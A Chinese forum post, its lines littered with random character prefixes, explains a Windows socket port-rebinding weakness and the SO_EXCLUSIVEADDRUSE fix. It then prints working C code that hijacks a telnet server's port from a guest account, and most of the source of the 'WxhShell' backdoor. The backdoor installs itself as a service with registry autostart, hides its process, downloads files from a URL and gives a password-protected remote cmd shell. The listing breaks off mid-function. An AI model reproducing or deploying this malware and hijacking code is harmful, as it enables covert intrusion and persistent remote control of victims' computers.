在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
uGF{0)0g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SUv'cld z;y{QO saddr.sin_family = AF_INET;
dPbn[*: $7W5smW/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!v(^wqna\ ~)n[Vf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
B:Ft(, g cB
hEw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H=\Tse_.
`6lOq H 这意味着什么?意味着可以进行如下的攻击:
seRf q& H
XFY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
dpK- N/ ' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
tC(Ma I >*opE I+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.9WOTti ;obOr~Jx'5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LokH4A17U 4<Nd5T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^y qRa& *^Ges;5$" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%P M#gnt@ UCK;?] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Xdo\DQn s^SU6P/] #include
/CMgWGI #include
?QzL#iO}h #include
Yh!=mW!OY #include
,msP(*qoI DWORD WINAPI ClientThread(LPVOID lpParam);
c;Tp_e@ int main()
9<&M~(dwT4 {
K;WQV, WORD wVersionRequested;
iETUBZ DWORD ret;
cm_5,wB(w WSADATA wsaData;
KvEv0L<ky BOOL val;
F[SZwMf29 SOCKADDR_IN saddr;
c*. SOCKADDR_IN scaddr;
Y]KHCY int err;
8>W52~^fU SOCKET s;
`2LmLFkb SOCKET sc;
'*65j int caddsize;
4w=v
/WDo HANDLE mt;
uR{)%udu DWORD tid;
9jY+0h*uP wVersionRequested = MAKEWORD( 2, 2 );
R`E:`t4G err = WSAStartup( wVersionRequested, &wsaData );
[ 5!}+8]W if ( err != 0 ) {
j6RV{Lkr_ printf("error!WSAStartup failed!\n");
1 :$#a return -1;
ZJU
%&@ }
2uN3:_w saddr.sin_family = AF_INET;
LH)1IGAx2y G+Z ,ic //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
sR>>l3H YTZ :D/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m"/..&'GC saddr.sin_port = htons(23);
Y'~O_coG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!-^oU" {
@s
cn ?t printf("error!socket failed!\n");
l0`bseN< return -1;
BJb, }
Hzm_o>^KC val = TRUE;
cZ|NGkZ //SO_REUSEADDR选项就是可以实现端口重绑定的
fh3uo\`@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
XPqGv=CN {
=v?P7;T printf("error!setsockopt failed!\n");
VgIk '. return -1;
GiX3c^V"1 }
MGMJeqvr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{*F
=&D //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
9x!kvB6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
YW6a?f^! )1B?<4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
aaCRZKr {
\V!{z;.fA ret=GetLastError();
8..|-<w printf("error!bind failed!\n");
J^yqu{ return -1;
X,aRL6>r }
6`Y:f[VB listen(s,2);
``k[CgV while(1)
dWiNe!oY2 {
4)D~S4{E5 caddsize = sizeof(scaddr);
K];] //接受连接请求
F"k`PF*b sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
B>:U if(sc!=INVALID_SOCKET)
i6k6l% {
2^
]^Yc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CN ( : if(mt==NULL)
0Zwx3[bq6K {
qhvT," printf("Thread Creat Failed!\n");
3{|~'5* break;
p *42
@1, }
,(Zxd4?y }
; 8DtnnE CloseHandle(mt);
BRM `/s }
{g1"{ closesocket(s);
VFZ?<m WSACleanup();
,M?8s2? return 0;
u8KQV7E }
Dt[+HCCY: DWORD WINAPI ClientThread(LPVOID lpParam)
-.?
@f
tY {
|[iO./zP SOCKET ss = (SOCKET)lpParam;
3%(r,AD SOCKET sc;
Be@g|'r unsigned char buf[4096];
R|(X_A SOCKADDR_IN saddr;
NYP3u_
QX long num;
~Yg)8 DWORD val;
+@!\3a4! DWORD ret;
\RR`
F .7 //如果是隐藏端口应用的话,可以在此处加一些判断
BWxJ1ENM
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"1^tVw| saddr.sin_family = AF_INET;
y*X.DS 1(w saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6>#8^{[ saddr.sin_port = htons(23);
(nq""kO6' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.6$=]hdAp {
Uv>e :U7 ; printf("error!socket failed!\n");
%i3[x.M return -1;
4[x`\ }
mxF+Fp~ val = 100;
J5Zz*'av' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%G2g
@2 {
W`vPf ret = GetLastError();
ysG1{NOl return -1;
CKZEX*mPC }
0Yq_B+IC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
eL"'-d+] {
_F[a2PE2+ ret = GetLastError();
2HBey return -1;
3bezYk }
)8g&lyT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=dHdq D {
a@jM%VZ printf("error!socket connect failed!\n");
OET/4(C closesocket(sc);
~D}fy closesocket(ss);
C}<e3BXc return -1;
dl8f]y#Q }
wT- -i@@ while(1)
0_ST2I"Ln {
\.i ejB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
p<'pqf //如果是嗅探内容的话,可以再此处进行内容分析和记录
k"gm;,` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~ L%,9 num = recv(ss,buf,4096,0);
QeFt
WjlqC if(num>0)
(n.IK/: send(sc,buf,num,0);
iOhX\@& else if(num==0)
B.od{@I(Xp break;
F7jkl4 num = recv(sc,buf,4096,0);
~E8/m_> rU if(num>0)
w=!xTA send(ss,buf,num,0);
zL}`7*d:v else if(num==0)
PPV T2;9 break;
[^}bc-9?i }
8$]SvfX closesocket(ss);
_u6NaB closesocket(sc);
Q%q;=a return 0 ;
hG~.Sc:G }
-a>CF^tH LNR1YC1c k)D5>T ==========================================================
`a[fC9 ,Nw2cv}D 下边附上一个代码,,WXhSHELL
zQ,M795@EA I>l^lv&[+ ==========================================================
Lz_.m BjPU@rS.U #include "stdafx.h"
Z]{=Jy!F mDp8JNJNE #include <stdio.h>
{g[kn^| #include <string.h>
ndDF(qHr #include <windows.h>
"AXgT[ O #include <winsock2.h>
DAf@-~c #include <winsvc.h>
2i#Ekon #include <urlmon.h>
?o6#i 3k#' eB9&HD: #pragma comment (lib, "Ws2_32.lib")
zBq&/? #pragma comment (lib, "urlmon.lib")
A7#nBHwxZ Y=Ic<WHR #define MAX_USER 100 // 最大客户端连接数
^fO9oPM| #define BUF_SOCK 200 // sock buffer
KwaxNb5 #define KEY_BUFF 255 // 输入 buffer
T zS?WYF ,d lq2 #define REBOOT 0 // 重启
i9qIaG/ #define SHUTDOWN 1 // 关机
sl@>GbnS 4HZXv\$ #define DEF_PORT 5000 // 监听端口
2#yDVN$ N$t<&5+ #define REG_LEN 16 // 注册表键长度
pN9U1!|uam #define SVC_LEN 80 // NT服务名长度
6hR `sE C7W<7DBf // 从dll定义API
<3j`Z1J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
c+z [4"rYL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M~`^deU1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
IIGx+> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\Ezcr=0z{j 3rHn? // wxhshell配置信息
S?JGg.) struct WSCFG {
vN_ 8qzWk int ws_port; // 监听端口
.]4MtG char ws_passstr[REG_LEN]; // 口令
60ciI,_` int ws_autoins; // 安装标记, 1=yes 0=no
A\9LJ#E char ws_regname[REG_LEN]; // 注册表键名
0uM&F[.x@g char ws_svcname[REG_LEN]; // 服务名
-\B*reC char ws_svcdisp[SVC_LEN]; // 服务显示名
b|E ZD3y char ws_svcdesc[SVC_LEN]; // 服务描述信息
UEx<;P8rP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z 1wtOL int ws_downexe; // 下载执行标记, 1=yes 0=no
3Ur_?PM+C char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
KlS#f char ws_filenam[SVC_LEN]; // 下载后保存的文件名
GB}= :Sd`4"AA };
sz/^Ie-~ W?wt$' // default Wxhshell configuration
8_Uhh5[ struct WSCFG wscfg={DEF_PORT,
m:0[as= "xuhuanlingzhe",
3'i(wI~<[ 1,
%#&njP "Wxhshell",
4:**d[|1 "Wxhshell",
+hispU3ia "WxhShell Service",
OXKV6r6f "Wrsky Windows CmdShell Service",
d)Z&_v<| "Please Input Your Password: ",
o+XQMg 1,
+rSU "
http://www.wrsky.com/wxhshell.exe",
tEo-Mj5: "Wxhshell.exe"
cvT@`1 };
H
n]( )/ ?>V>6cDQ // 消息定义模块
YjL'GmL< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
v?,@e5GZ char *msg_ws_prompt="\n\r? for help\n\r#>";
I][&*V1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!J@!2S9 char *msg_ws_ext="\n\rExit.";
5#X R1#` char *msg_ws_end="\n\rQuit.";
q7soV(P char *msg_ws_boot="\n\rReboot...";
.$y'>O*$G char *msg_ws_poff="\n\rShutdown...";
BAvz @H char *msg_ws_down="\n\rSave to ";
o6~JAvw \Z42EnJ char *msg_ws_err="\n\rErr!";
`s
UY$Q char *msg_ws_ok="\n\rOK!";
P{QHG 3 Z1($9hE> char ExeFile[MAX_PATH];
yw7(!1j= int nUser = 0;
7hPwa3D^ HANDLE handles[MAX_USER];
/ bH2Z int OsIsNt;
:Ru8Nm %-K5sIz SERVICE_STATUS serviceStatus;
84e8z { SERVICE_STATUS_HANDLE hServiceStatusHandle;
-z-yk~F Os9EMU$ // 函数声明
!m-`~3P#l, int Install(void);
.GNyADQp int Uninstall(void);
'PFjZGaKR int DownloadFile(char *sURL, SOCKET wsh);
q`L)^In" int Boot(int flag);
Qmo}esb'( void HideProc(void);
#QcRN?s int GetOsVer(void);
GRofOJ int Wxhshell(SOCKET wsl);
2&]LZ:( void TalkWithClient(void *cs);
MXEI/mDYK int CmdShell(SOCKET sock);
T=sAy/1oR int StartFromService(void);
`T1bY9O. int StartWxhshell(LPSTR lpCmdLine);
=6=:OId 's5rl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~QPTs1Vk8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
BB69U -}!mi V // 数据结构和表定义
OX]P;#4tU SERVICE_TABLE_ENTRY DispatchTable[] =
^=5y; {
s]kzXzRC? {wscfg.ws_svcname, NTServiceMain},
c[ 0`8s! {NULL, NULL}
+U_1B%e(% };
gCG#?f &)||~ // 自我安装
cbm;45 L| int Install(void)
oUN\tOiS+ {
"sDs[Lcq char svExeFile[MAX_PATH];
\~Z%}$ = HKEY key;
TKAs@X,t strcpy(svExeFile,ExeFile);
^^B_z|;Aa Y[R>?w // 如果是win9x系统,修改注册表设为自启动
OyK#Rm2A= if(!OsIsNt) {
`\;Z&jlpT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-+Yark RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{~Jk (c~I RegCloseKey(key);
8{i}^.p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?r8hl.Z> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X?< L<:. RegCloseKey(key);
Qyx~={.C~ return 0;
@b^$h:H }
4L{]!dox }
> 3(,s^ }
x@bqPZ t else {
oZ tCx whHuV*K} // 如果是NT以上系统,安装为系统服务
f>ktv76 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g:y4C6b if (schSCManager!=0)
`0M6<e]C {
k[a<KbS SC_HANDLE schService = CreateService
{}Is&^3Z (
aD'Ax\- schSCManager,
#rBfp|b]1 wscfg.ws_svcname,
U2W Hs3 wscfg.ws_svcdisp,
+s8R]3NJ_H SERVICE_ALL_ACCESS,
Xfqin4/jC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3^y<Db SERVICE_AUTO_START,
2@2d
| SERVICE_ERROR_NORMAL,
D g0rVV6c svExeFile,
1%N*GJlwJ NULL,
} -;)G~h/" NULL,
a`f@&A`z NULL,
es#6/ NULL,
7'i{JPm NULL
z,SI );
5n}<V-yJ*m if (schService!=0)
{y6h(@I8\ {
4\v &8">LL CloseServiceHandle(schService);
AgSAjBP CloseServiceHandle(schSCManager);
{!qnHv\S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~;Y Tz strcat(svExeFile,wscfg.ws_svcname);
X_@|+d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$HQ4 o\~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ny/eYF# RegCloseKey(key);
v3M$UiN,: return 0;
.43cI( }
Gbclu.4 }
.o/uA CloseServiceHandle(schSCManager);
w"dKOdY }
~ *"iLf@, }
=QtFJ9\ `\\s%}vZ*T return 1;
qA`@~\qh" }
\6?a L;j++^p // 自我卸载
L2EQ 9i'[ int Uninstall(void)
C5TV}Bq\ {
'&Y_,-i HKEY key;
c$&({Z{1 YOGj__: if(!OsIsNt) {
0\ (:y^X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E JuTv%Y8 RegDeleteValue(key,wscfg.ws_regname);
<y^_&9 RegCloseKey(key);
@/^mFqr2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zN]%p>,)HB RegDeleteValue(key,wscfg.ws_regname);
-40X3 RegCloseKey(key);
_ ~\} fY return 0;
Is}kCf }
&b5(Su }
0^o/cSF }
jED.0,+K! else {
;e5PoLc T~Bj],k_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u4SL:IH{D if (schSCManager!=0)
EUcD[Rv {
BPt? 3tC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1Pw1TO"Z
if (schService!=0)
VlA]A,P}i {
-XCs?@8EQ if(DeleteService(schService)!=0) {
g:JSy CloseServiceHandle(schService);
SiX<tj#HH\ CloseServiceHandle(schSCManager);
ug2W{D return 0;
ycc G>%>r }
LAxN?ok9gD CloseServiceHandle(schService);
OQ?N_zs, }
&5b3k[K" CloseServiceHandle(schSCManager);
msfE; }
9+N%Io?! }
EXVZ?NG eU%49 A return 1;
_Wg}#r }
4^2>KC_ Q9O_>mZy // 从指定url下载文件
lm;hW&O9 int DownloadFile(char *sURL, SOCKET wsh)
a0sz$u {
!a F~5P7% HRESULT hr;
Hh=fv~X char seps[]= "/";
U[?_|=~7 char *token;
h^tCF=S char *file;
]&Y^ char myURL[MAX_PATH];
5{V"!M+< char myFILE[MAX_PATH];
;j1E 6 `<se&IZE strcpy(myURL,sURL);
KU` *LB: token=strtok(myURL,seps);
T&]-p:mg^ while(token!=NULL)
|JYb4J4Ni {
LiT%d file=token;
A2M(
ad token=strtok(NULL,seps);
j;coP ehB }
..u{v}4& 9_:"`)]3B GetCurrentDirectory(MAX_PATH,myFILE);
r@zT!.sc! strcat(myFILE, "\\");
MukJ^h*V strcat(myFILE, file);
a,RCK~GR send(wsh,myFILE,strlen(myFILE),0);
%hYgG;22 send(wsh,"...",3,0);
'_.qhsS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pz['o if(hr==S_OK)
/CsP@f_Gw return 0;
>;c);|'}q else
%mT/y%&: return 1;
g3NUw/]# $ -1ajSVJ }
ye$_=KARP kpn|C 9r // 系统电源模块
9Tt%~m^ int Boot(int flag)
pK3A/ry< {
@y;VV* HANDLE hToken;
NLL"~ TOKEN_PRIVILEGES tkp;
Ju47} t%HB VM\R-[ if(OsIsNt) {
"E2 0Y"[h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Q+
V<& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
u)r/#fUZ tkp.PrivilegeCount = 1;
4joE"H6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@s-P!uCaT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"V]*ov&[ if(flag==REBOOT) {
z fSE7i0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
mk1R~4v return 0;
m1%rm-M }
f't.?M else {
K)LoZ^x0) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mv8H:T return 0;
Gr2}N"X= }
d|NW&PG }
Pqya%j else {
N
{
oVz], if(flag==REBOOT) {
0@zJa;z' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?(=|!`IoO return 0;
:gwmk9LZ }
oa"Bpi9i else {
I &iyj99n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$oQOOa@;i) return 0;
J2VPOn }
:V+rC]0 }
}/1^Lqfnz GE!nf6>Km return 1;
*%;A85V/ }
u$a K19K/ La1:WYt // win9x进程隐藏模块
|cY HH$ void HideProc(void)
%;:![?M
{
.2JZ7 }NC$Ce HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
cDz@3So.b if ( hKernel != NULL )
n?r8ZDJ' {
u?72]?SM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,Lp"Ia ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}VJ>}i* FreeLibrary(hKernel);
5 [~HL_u;, }
(]'wQ4iQ tB>!1}v return;
z]8Mv(eL }
s|<n7 =J Q;3`T7 // 获取操作系统版本
fW2NYQP$: int GetOsVer(void)
> "F-1{ {
g3kbsi7_: OSVERSIONINFO winfo;
Gpxp8[ { winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U!|)M GetVersionEx(&winfo);
lot`6] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@
,X/Wf return 1;
ZzE( S else
O6y:e#0z return 0;
j67a?0<C2U }
9y6u&!PZ\ qWr=Oiu // 客户端句柄模块
_)5E= int Wxhshell(SOCKET wsl)
45.ks. {
)b1hF SOCKET wsh;
QHO n?e
struct sockaddr_in client;
t!rrYBSCr DWORD myID;
-rcEG! E6~VHQa2? while(nUser<MAX_USER)
-M=BD-_.h {
&{8:XJe*,% int nSize=sizeof(client);
a%`Yz"<lQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^x O](,H if(wsh==INVALID_SOCKET) return 1;
Y[7prjd H[KX xNYZ_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
tP|/Q5s if(handles[nUser]==0)
Jp"29
)w closesocket(wsh);
Z]b;%:>= else
.c]>*/(+ nUser++;
)Q`Ycz- }
=a,qRO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
x] wi& 7(o`>7x* return 0;
+C!GV.q[ }
bQ3<>e\%B c+3(|k-M // 关闭 socket
87! jn'A void CloseIt(SOCKET wsh)
xwD` R* {
ir.RO7f closesocket(wsh);
cL#-vW<s3 nUser--;
*RS/`a;, ExitThread(0);
Fya*[)HBo }
A;rk4)lij Rf4K Rhi // 客户端请求句柄
9RlJf=Z#H void TalkWithClient(void *cs)
afX|R {
((]i}s0S vE(]!CB SOCKET wsh=(SOCKET)cs;
/A0_#g:2*# char pwd[SVC_LEN];
iqB5h|
` char cmd[KEY_BUFF];
feyc char chr[1];
o
A2oX int i,j;
)e0kr46 k vZ w4Pk while (nUser < MAX_USER) {
>U*p[ FGW 5;KJ0N*- if(wscfg.ws_passstr) {
-51LF=(!L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LI.WcI3uS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<Mvniz //ZeroMemory(pwd,KEY_BUFF);
k^ZP~.G i=0;
')q4d0B`" while(i<SVC_LEN) {
JqO1 a?H I;JV-jDM // 设置超时
i;{lY1 fd_set FdRead;
'/qy_7O struct timeval TimeOut;
d%k7n+ICQ4 FD_ZERO(&FdRead);
~-vCY FD_SET(wsh,&FdRead);
AmIW$(Ce TimeOut.tv_sec=8;
E'4Psx9: = TimeOut.tv_usec=0;
4#>Z.sf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sTP\} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8?LT*>! 2Pm}wD^` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
TsT5BC63 pwd
=chr[0]; 1LS1 ZY
if(chr[0]==0xd || chr[0]==0xa) { f$^wu~
pwd=0; h%F.h![*
break; 9l~D}5e7
} r}qDvC D
i++; py\:u5QS
} Qqg.z-G%.
}kQ{T:q4
// 如果是非法用户,关闭 socket zB0*KgAn{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'A5T$JV.r4
} d`rZgY
MuMq%uDA"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &G_#=t&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `PAQv+EYz
t<fah 3hl
while(1) { [c=P)t7
V
:qxWANUa
ZeroMemory(cmd,KEY_BUFF); cdkEK
&o x
// 自动支持客户端 telnet标准 +pG+ xI
j=0;
t[+bZUS$~
while(j<KEY_BUFF) { hO[_ _j8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |oU I2<"
cmd[j]=chr[0]; kiJ=C2'&
if(chr[0]==0xa || chr[0]==0xd) { &!4E3&+2m
cmd[j]=0; ^cNuEF9
break; rM.Pc?Z
} _fZec+oM
j++; @4UX~=:686
} ;MNUT,U
c!
kr
BS
// 下载文件 fx+_;y
if(strstr(cmd,"http://")) { KF#^MEw%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +&)/dHbL`]
if(DownloadFile(cmd,wsh)) #z >I =gl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pl/Xh03E
else /7"V~c6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F-zIzzb&O
} h[qZM
else { ?7wcv$K5
k^|z.$+
switch(cmd[0]) { }*rS g .
]wDqdD y7S
// 帮助 qdZ ^D
case '?': { 7+f6?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [err$
break; x&DqTX?b,
} >)C7IQ/
// 安装 pLe4dz WA
case 'i': { ^_3Ey
if(Install()) v`QDms,{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?XdvZf $
else b#N P*L&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vdn)+fZ;
break; ds+K7B$
} \(
V1-,
// 卸载 I,#E`)
case 'r': { i[9gcL"
if(Uninstall()) @,1_CqV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %T>@Ldt
else &iw,||#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xj+_"0
#
break; I2HV{1(i
} |~%RSS~b*
// 显示 wxhshell 所在路径 E8Kk)7
case 'p': { y "+'4:_
char svExeFile[MAX_PATH]; cO{NiRIb
strcpy(svExeFile,"\n\r"); FVl,
ttW
strcat(svExeFile,ExeFile); p@~Y[a =
send(wsh,svExeFile,strlen(svExeFile),0); 7.VP7;jys
break; ~Yc~_)hD
} % t,42jQ9
// 重启 ^A&{g.0
case 'b': { (*r2bm2FPO
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]T/%Bau
if(Boot(REBOOT)) yLLA:5Q1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `^{G`es
else { 5'f_~>1Wt
closesocket(wsh); H0inU+Ih
ExitThread(0); |)To 0Z
} MkFWZ9c3
break; 0vLx={i
} 1J1Jp|j.
// 关机 *A!M0TK?i,
case 'd': { A4(L47^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XM!oN^
if(Boot(SHUTDOWN)) "Cxj_V@\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {@L{l1|0
else { gQik>gFr
closesocket(wsh); !bLCha\
ExitThread(0); mY"Dw^)
} 6{i0i9Tb
break; u,iiS4'Ze
} "JmbYb#Z
// 获取shell yxx_%9 X
case 's': { 4w%hvJ
CmdShell(wsh); Bn8&~
closesocket(wsh); 0_je@p+$
ExitThread(0); ynra%"sd
break; "UD)3_R
} 0y<9JvN$9
// 退出 j,].88H
case 'x': { %LC)sSq{H
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4N=,9
CloseIt(wsh); wT+60X'
break; YhglL!pC
} l2W+VBn6
// 离开 }`
`oojz
case 'q': { PT,*KYF_O"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0P$19TN
closesocket(wsh); XdIno}pN
WSACleanup(); \I i#R
exit(1); $#e}9g.
break; (421$w,B%
} M6cybEk`
} n5xG4.#G
} anz7ae&P'K
6flO;d/v
// 提示信息 B YB9M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o(v`
} Z{(Gib~{N
} !^L}LtqHI
as3uz
return; 9VaSCB
} |af<2(d
;QuxTmWp^
// shell模块句柄 6k,@+@]t.
int CmdShell(SOCKET sock) 0|va}m`<3G
{ nq7)0F%e
STARTUPINFO si; >/.jB/q
ZeroMemory(&si,sizeof(si)); /:A239=+ ?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gjT`<CW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^+~$eg&js
PROCESS_INFORMATION ProcessInfo; uq:'`o-1
char cmdline[]="cmd"; uJ=&++[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
ArX*3
return 0; Gg6cjc =dC
} 2mj>,kS?c
|OF3J,q
// 自身启动模式 bU}!bol
int StartFromService(void) jj `0w@
{ T2W^4)
typedef struct -=rGN"(M
_
{ b2F1^]p
DWORD ExitStatus; %E,-dw
DWORD PebBaseAddress; 79Q,XRWh|
DWORD AffinityMask; 3s:)CXO
DWORD BasePriority; <C"}OW8
ULONG UniqueProcessId; VasQ/
ULONG InheritedFromUniqueProcessId; cv_O2Q4,@
